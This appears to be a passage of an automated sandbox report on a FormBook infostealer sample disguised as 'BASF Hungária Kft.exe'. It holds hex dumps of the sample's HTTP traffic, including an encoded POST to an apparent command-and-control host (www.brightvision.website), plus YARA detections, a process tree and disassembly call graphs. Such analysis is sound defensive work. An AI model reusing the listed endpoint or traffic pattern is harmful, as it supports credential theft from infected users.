                                                            Data Ascii: /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.66653,18.58299 3.08
                                                            Nov 29, 2024 15:14:18.733977079 CET1236INData Raw: 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e 38 32 36 36 38 2c 37 2e 34 32 34 34 37 20 32
                                                            Data Ascii: 943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.003429,37.18159 -3.0
                                                            Nov 29, 2024 15:14:18.733989000 CET448INData Raw: 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68
                                                            Data Ascii: 54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549" d="m 79.25478,124.23266 c -5.440192,
                                                            Nov 29, 2024 15:14:18.734116077 CET1236INData Raw: 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74
                                                            Data Ascii: 95,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="pa
                                                            Nov 29, 2024 15:14:18.734127998 CET1236INData Raw: 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65
                                                            Data Ascii: 45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717" rx="2.5"
                                                            Nov 29, 2024 15:14:18.854043007 CET1236INData Raw: 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31
                                                            Data Ascii: one;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.038164)" id="path4567" d="m 321.74355,168.0687 c -1e-5,3.3913 -3.42414,11.26702 -8.73834,11.26702 -5.3142,0 -18.59463,27.24606


                                                            Session IDSource IPSource PortDestination IPDestination Port
                                                            34192.168.2.450037203.161.42.7380
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:14:20.732336998 CET673OUTPOST /gn26/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 224
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.brightvision.website
                                                            Origin: http://www.brightvision.website
                                                            Referer: http://www.brightvision.website/gn26/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 53 69 42 7a 57 57 4a 31 73 4f 54 33 52 55 6c 38 6a 72 55 53 39 47 47 67 39 35 4e 64 43 66 35 59 44 46 39 4c 76 49 70 70 64 71 33 6d 52 79 41 79 48 4e 59 6f 6f 32 35 48 37 32 72 6b 4e 6e 71 75 51 38 76 6a 56 4b 4b 75 36 50 77 54 34 4a 61 35 73 67 37 77 69 73 55 77 4d 6c 46 30 46 61 31 56 61 4c 66 66 4c 35 36 7a 30 6e 6f 55 75 57 2b 4b 73 58 4f 4a 59 6d 34 4b 34 45 71 77 4c 44 4f 39 51 70 34 46 77 49 57 71 51 33 71 41 4e 34 45 4a 2b 6a 77 36 68 71 4f 51 52 59 6f 49 4c 41 68 58 6b 4e 59 75 57 50 37 69 45 6b 6c 48 44 44 32 76 4d 52 6f 36 47 63 4e 37 2b 56 38 52 61 54 47 76 6b 55 55 6d 34 4c 43 43 31 32 2f 4a 37 67 58 75 43 4c 31 70 72 32 34 3d
                                                            Data Ascii: XHa8pH8=SiBzWWJ1sOT3RUl8jrUS9GGg95NdCf5YDF9LvIppdq3mRyAyHNYoo25H72rkNnquQ8vjVKKu6PwT4Ja5sg7wisUwMlF0Fa1VaLffL56z0noUuW+KsXOJYm4K4EqwLDO9Qp4FwIWqQ3qAN4EJ+jw6hqOQRYoILAhXkNYuWP7iEklHDD2vMRo6GcN7+V8RaTGvkUUm4LCC12/J7gXuCL1pr24=
                                                            Nov 29, 2024 15:14:22.040436029 CET1236INHTTP/1.1 404 Not Found
                                                            Date: Fri, 29 Nov 2024 14:14:21 GMT
                                                            Server: Apache
                                                            Content-Length: 16052
                                                            Connection: close
                                                            Content-Type: text/html
                                                            Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED]
                                                            Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
                                                            Nov 29, 2024 15:14:22.040510893 CET1236INData Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c
                                                            Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
                                                            Nov 29, 2024 15:14:22.040523052 CET1236INData Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d
                                                            Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
                                                            Nov 29, 2024 15:14:22.040679932 CET1236INData Raw: 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66
                                                            Data Ascii: 0.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <pa
                                                            Nov 29, 2024 15:14:22.040692091 CET896INData Raw: 32 2c 31 35 2e 35 30 30 36 34 20 30 2e 39 31 36 37 39 38 2c 36 2e 38 33 34 33 34 20 32 2e 32 34 39 38 35 34 2c 31 36 2e 33 33 32 33 37 20 33 2e 34 39 39 39 30 32 2c 32 34 2e 39 31 36 30 34 20 31 2e 32 35 30 30 34 37 2c 38 2e 35 38 33 36 38 20 32
                                                            Data Ascii: 2,15.50064 0.916798,6.83434 2.249854,16.33237 3.499902,24.91604 1.250047,8.58368 2.416611,16.24967 4.583438,28.58394 2.166827,12.33427 5.333153,29.33244 8.499966,46.33323" style="display:inline;fill:none;stroke:#000000;stroke-widt
                                                            Nov 29, 2024 15:14:22.040703058 CET1236INData Raw: 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e 39 33 37 35 2c 31 32 34 2e 30 39 39 39 38 20
                                                            Data Ascii: /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.66653,18.58299 3.08
                                                            Nov 29, 2024 15:14:22.040714025 CET1236INData Raw: 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e 38 32 36 36 38 2c 37 2e 34 32 34 34 37 20 32
                                                            Data Ascii: 943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.003429,37.18159 -3.0
                                                            Nov 29, 2024 15:14:22.040875912 CET448INData Raw: 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68
                                                            Data Ascii: 54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549" d="m 79.25478,124.23266 c -5.440192,
                                                            Nov 29, 2024 15:14:22.040956020 CET1236INData Raw: 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74
                                                            Data Ascii: 95,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="pa
                                                            Nov 29, 2024 15:14:22.040966988 CET1236INData Raw: 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65
                                                            Data Ascii: 45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717" rx="2.5"
                                                            Nov 29, 2024 15:14:22.160573006 CET1236INData Raw: 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31
                                                            Data Ascii: one;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.038164)" id="path4567" d="m 321.74355,168.0687 c -1e-5,3.3913 -3.42414,11.26702 -8.73834,11.26702 -5.3142,0 -18.59463,27.24606


                                                            Statistics

                                                            CPU Usage

                                                            Click to jump to process

                                                            Memory Usage

                                                            Click to jump to process

                                                            High Level Behavior Distribution

                                                            Click to dive into process behavior distribution

                                                            Behavior

                                                            Click to jump to process

                                                            System Behavior

                                                            General

                                                            Target ID:0
                                                            Start time:09:11:10
                                                            Start date:29/11/2024
                                                            Path:C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe"
                                                            Imagebase:0x730000
                                                            File size:1'207'296 bytes
                                                            MD5 hash:27925247CA8E5C34B7E47D807B56BF66
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:low
                                                            Has exited:true

                                                            General

                                                            Target ID:1
                                                            Start time:09:11:11
                                                            Start date:29/11/2024
                                                            Path:C:\Windows\SysWOW64\svchost.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe"
                                                            Imagebase:0x2f0000
                                                            File size:46'504 bytes
                                                            MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1929852390.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1930322182.0000000003820000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1930790727.0000000004A00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:3
                                                            Start time:09:11:27
                                                            Start date:29/11/2024
                                                            Path:C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe"
                                                            Imagebase:0x4f0000
                                                            File size:140'800 bytes
                                                            MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.3558620586.00000000084F0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.3553845307.0000000003AD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                            Reputation:high
                                                            Has exited:false

                                                            General

                                                            Target ID:4
                                                            Start time:09:11:29
                                                            Start date:29/11/2024
                                                            Path:C:\Windows\SysWOW64\mobsync.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Windows\SysWOW64\mobsync.exe"
                                                            Imagebase:0xb00000
                                                            File size:93'696 bytes
                                                            MD5 hash:F7114D05B442F103BD2D3E20E78A7AA5
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3553532020.0000000004880000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3552790093.0000000000970000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3552981076.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                            Reputation:low
                                                            Has exited:false

                                                            General

                                                            Target ID:7
                                                            Start time:09:11:55
                                                            Start date:29/11/2024
                                                            Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                                            Imagebase:0x7ff6bf500000
                                                            File size:676'768 bytes
                                                            MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            Disassembly

                                                            Reset < >

                                                              Execution Graph

                                                              Execution Coverage:3.5%
                                                              Dynamic/Decrypted Code Coverage:1.5%
                                                              Signature Coverage:10.2%
                                                              Total number of Nodes:2000
                                                              Total number of Limit Nodes:162
                                                              execution_graph 100452 733633 100453 73366a 100452->100453 100454 7336e7 100453->100454 100455 733688 100453->100455 100492 7336e5 100453->100492 100457 76d0cc 100454->100457 100458 7336ed 100454->100458 100459 733695 100455->100459 100460 73374b PostQuitMessage 100455->100460 100456 7336ca DefWindowProcW 100494 7336d8 100456->100494 100501 741070 10 API calls Mailbox 100457->100501 100461 7336f2 100458->100461 100462 733715 SetTimer RegisterWindowMessageW 100458->100462 100464 76d154 100459->100464 100465 7336a0 100459->100465 100460->100494 100467 76d06f 100461->100467 100468 7336f9 KillTimer 100461->100468 100470 73373e CreatePopupMenu 100462->100470 100462->100494 100517 792527 71 API calls _memset 100464->100517 100471 733755 100465->100471 100472 7336a8 100465->100472 100475 76d074 100467->100475 100476 76d0a8 MoveWindow 100467->100476 100497 73443a Shell_NotifyIconW _memset 100468->100497 100469 76d0f3 100502 741093 331 API calls Mailbox 100469->100502 100470->100494 100499 7344a0 64 API calls _memset 100471->100499 100473 7336b3 100472->100473 100486 76d139 100472->100486 100479 7336be 100473->100479 100480 76d124 100473->100480 100483 76d097 SetFocus 100475->100483 100484 76d078 100475->100484 100476->100494 100479->100456 100503 73443a Shell_NotifyIconW _memset 100479->100503 100515 792d36 81 API calls _memset 100480->100515 100481 76d166 100481->100456 100481->100494 100482 733764 100482->100494 100483->100494 100484->100479 100487 76d081 100484->100487 100485 73370c 100498 733114 DeleteObject DestroyWindow Mailbox 100485->100498 100486->100456 100516 787c36 59 API calls Mailbox 100486->100516 100500 741070 10 API calls Mailbox 100487->100500 100492->100456 100495 76d118 100504 73434a 100495->100504 100497->100485 100498->100494 100499->100482 100500->100494 100501->100469 100502->100479 100503->100495 100505 734375 _memset 100504->100505 100518 734182 100505->100518 100508 7343fa 100510 734430 Shell_NotifyIconW 100508->100510 100511 734414 Shell_NotifyIconW 100508->100511 100512 734422 100510->100512 100511->100512 100522 73407c 100512->100522 100514 734429 100514->100492 100515->100482 100516->100492 100517->100481 100519 76d423 100518->100519 100520 734196 100518->100520 100519->100520 100521 76d42c DestroyIcon 100519->100521 100520->100508 100544 792f94 62 API calls _W_store_winword 100520->100544 100521->100520 100523 734098 100522->100523 100524 73416f Mailbox 100522->100524 100545 737a16 100523->100545 100524->100514 100527 7340b3 100550 737bcc 100527->100550 100528 76d3c8 LoadStringW 100531 76d3e2 100528->100531 100530 7340c8 100530->100531 100532 7340d9 100530->100532 100533 737b2e 59 API calls 100531->100533 100534 7340e3 100532->100534 100535 734174 100532->100535 100538 76d3ec 100533->100538 100559 737b2e 100534->100559 100568 738047 100535->100568 100541 7340ed _memset _wcscpy 100538->100541 100572 737cab 100538->100572 100540 76d40e 100542 737cab 59 API calls 100540->100542 100543 734155 Shell_NotifyIconW 100541->100543 100542->100541 100543->100524 100544->100508 100579 750db6 100545->100579 100547 737a3b 100589 738029 100547->100589 100551 737c45 100550->100551 100552 737bd8 __wsetenvp 100550->100552 100621 737d2c 100551->100621 100554 737c13 100552->100554 100555 737bee 100552->100555 100557 738029 59 API calls 100554->100557 100620 737f27 59 API calls Mailbox 100555->100620 100558 737bf6 _memmove 100557->100558 100558->100530 100560 737b40 100559->100560 100561 76ec6b 100559->100561 100629 737a51 100560->100629 100635 787bdb 59 API calls _memmove 100561->100635 100564 737b4c 100564->100541 100565 76ec75 100566 738047 59 API calls 100565->100566 100567 76ec7d Mailbox 100566->100567 100569 738052 100568->100569 100570 73805a 100568->100570 100636 737f77 59 API calls 2 library calls 100569->100636 100570->100541 100573 76ed4a 100572->100573 100574 737cbf 100572->100574 100576 738029 59 API calls 100573->100576 100637 737c50 100574->100637 100578 76ed55 __wsetenvp _memmove 100576->100578 100577 737cca 100577->100540 100583 750dbe 100579->100583 100581 750dd8 100581->100547 100583->100581 100584 750ddc std::exception::exception 100583->100584 100592 75571c 100583->100592 100609 7533a1 DecodePointer 100583->100609 100610 75859b RaiseException 100584->100610 100586 750e06 100611 7584d1 58 API calls _free 100586->100611 100588 750e18 100588->100547 100590 750db6 Mailbox 59 API calls 100589->100590 100591 7340a6 100590->100591 100591->100527 100591->100528 100593 755797 100592->100593 100602 755728 100592->100602 100618 7533a1 DecodePointer 100593->100618 100595 75579d 100619 758b28 58 API calls __getptd_noexit 100595->100619 100598 75575b RtlAllocateHeap 100599 75578f 100598->100599 100598->100602 100599->100583 100601 755733 100601->100602 100612 75a16b 58 API calls 2 library calls 100601->100612 100613 75a1c8 58 API calls 8 library calls 100601->100613 100614 75309f GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 100601->100614 100602->100598 100602->100601 100603 755783 100602->100603 100607 755781 100602->100607 100615 7533a1 DecodePointer 100602->100615 100616 758b28 58 API calls __getptd_noexit 100603->100616 100617 758b28 58 API calls __getptd_noexit 100607->100617 100609->100583 100610->100586 100611->100588 100612->100601 100613->100601 100615->100602 100616->100607 100617->100599 100618->100595 100619->100599 100620->100558 100622 737d3a 100621->100622 100624 737d43 _memmove 100621->100624 100622->100624 100625 737e4f 100622->100625 100624->100558 100626 737e62 100625->100626 100628 737e5f _memmove 100625->100628 100627 750db6 Mailbox 59 API calls 100626->100627 100627->100628 100628->100624 100630 737a5f 100629->100630 100634 737a85 _memmove 100629->100634 100631 750db6 Mailbox 59 API calls 100630->100631 100630->100634 100632 737ad4 100631->100632 100633 750db6 Mailbox 59 API calls 100632->100633 100633->100634 100634->100564 100635->100565 100636->100570 100638 737c5f __wsetenvp 100637->100638 100639 738029 59 API calls 100638->100639 100640 737c70 _memmove 100638->100640 100641 76ed07 _memmove 100639->100641 100640->100577 100642 757c56 100643 757c62 _raise 100642->100643 100679 759e08 GetStartupInfoW 100643->100679 100645 757c67 100681 758b7c GetProcessHeap 100645->100681 100647 757cbf 100648 757cca 100647->100648 100764 757da6 58 API calls 3 library calls 100647->100764 100682 759ae6 100648->100682 100651 757cd0 100652 757cdb __RTC_Initialize 100651->100652 100765 757da6 58 API calls 3 library calls 100651->100765 100703 75d5d2 100652->100703 100655 757cea 100656 757cf6 GetCommandLineW 100655->100656 100766 757da6 58 API calls 3 library calls 100655->100766 100722 764f23 GetEnvironmentStringsW 100656->100722 100659 757cf5 100659->100656 100662 757d10 100663 757d1b 100662->100663 100767 7530b5 58 API calls 3 library calls 100662->100767 100732 764d58 100663->100732 100666 757d21 100667 757d2c 100666->100667 100768 7530b5 58 API calls 3 library calls 100666->100768 100746 7530ef 100667->100746 100670 757d34 100671 757d3f __wwincmdln 100670->100671 100769 7530b5 58 API calls 3 library calls 100670->100769 100752 7347d0 100671->100752 100674 757d53 100675 757d62 100674->100675 100770 753358 58 API calls _doexit 100674->100770 100771 7530e0 58 API calls _doexit 100675->100771 100678 757d67 _raise 100680 759e1e 100679->100680 100680->100645 100681->100647 100772 753187 36 API calls 2 library calls 100682->100772 100684 759aeb 100773 759d3c InitializeCriticalSectionAndSpinCount __mtinitlocknum 100684->100773 100686 759af0 100687 759af4 100686->100687 100775 759d8a TlsAlloc 100686->100775 100774 759b5c 61 API calls 2 library calls 100687->100774 100690 759af9 100690->100651 100691 759b06 100691->100687 100692 759b11 100691->100692 100776 7587d5 100692->100776 100695 759b53 100784 759b5c 61 API calls 2 library calls 100695->100784 100698 759b32 100698->100695 100700 759b38 100698->100700 100699 759b58 100699->100651 100783 759a33 58 API calls 4 library calls 100700->100783 100702 759b40 GetCurrentThreadId 100702->100651 100704 75d5de _raise 100703->100704 100796 759c0b 100704->100796 100706 75d5e5 100707 7587d5 __calloc_crt 58 API calls 100706->100707 100709 75d5f6 100707->100709 100708 75d661 GetStartupInfoW 100710 75d7a5 100708->100710 100711 75d676 100708->100711 100709->100708 100712 75d601 _raise @_EH4_CallFilterFunc@8 100709->100712 100713 75d86d 100710->100713 100716 75d7f2 GetStdHandle 100710->100716 100717 75d805 GetFileType 100710->100717 100804 759e2b InitializeCriticalSectionAndSpinCount 100710->100804 100711->100710 100715 7587d5 __calloc_crt 58 API calls 100711->100715 100718 75d6c4 100711->100718 100712->100655 100805 75d87d LeaveCriticalSection _doexit 100713->100805 100715->100711 100716->100710 100717->100710 100718->100710 100719 75d6f8 GetFileType 100718->100719 100803 759e2b InitializeCriticalSectionAndSpinCount 100718->100803 100719->100718 100723 764f34 100722->100723 100724 757d06 100722->100724 100845 75881d 58 API calls 2 library calls 100723->100845 100728 764b1b GetModuleFileNameW 100724->100728 100726 764f5a _memmove 100727 764f70 FreeEnvironmentStringsW 100726->100727 100727->100724 100729 764b4f _wparse_cmdline 100728->100729 100731 764b8f _wparse_cmdline 100729->100731 100846 75881d 58 API calls 2 library calls 100729->100846 100731->100662 100733 764d71 __wsetenvp 100732->100733 100734 764d69 100732->100734 100735 7587d5 __calloc_crt 58 API calls 100733->100735 100734->100666 100738 764d9a __wsetenvp 100735->100738 100736 764df1 100737 752d55 _free 58 API calls 100736->100737 100737->100734 100738->100734 100738->100736 100739 7587d5 __calloc_crt 58 API calls 100738->100739 100740 764e16 100738->100740 100743 764e2d 100738->100743 100847 764607 58 API calls _raise 100738->100847 100739->100738 100741 752d55 _free 58 API calls 100740->100741 100741->100734 100848 758dc6 IsProcessorFeaturePresent 100743->100848 100745 764e39 100745->100666 100747 7530fb __IsNonwritableInCurrentImage 100746->100747 100871 75a4d1 100747->100871 100749 753119 __initterm_e 100751 753138 __cinit __IsNonwritableInCurrentImage 100749->100751 100874 752d40 100749->100874 100751->100670 100753 7347ea 100752->100753 100763 734889 100752->100763 100754 734824 IsThemeActive 100753->100754 100909 75336c 100754->100909 100758 734850 100921 7348fd SystemParametersInfoW SystemParametersInfoW 100758->100921 100760 73485c 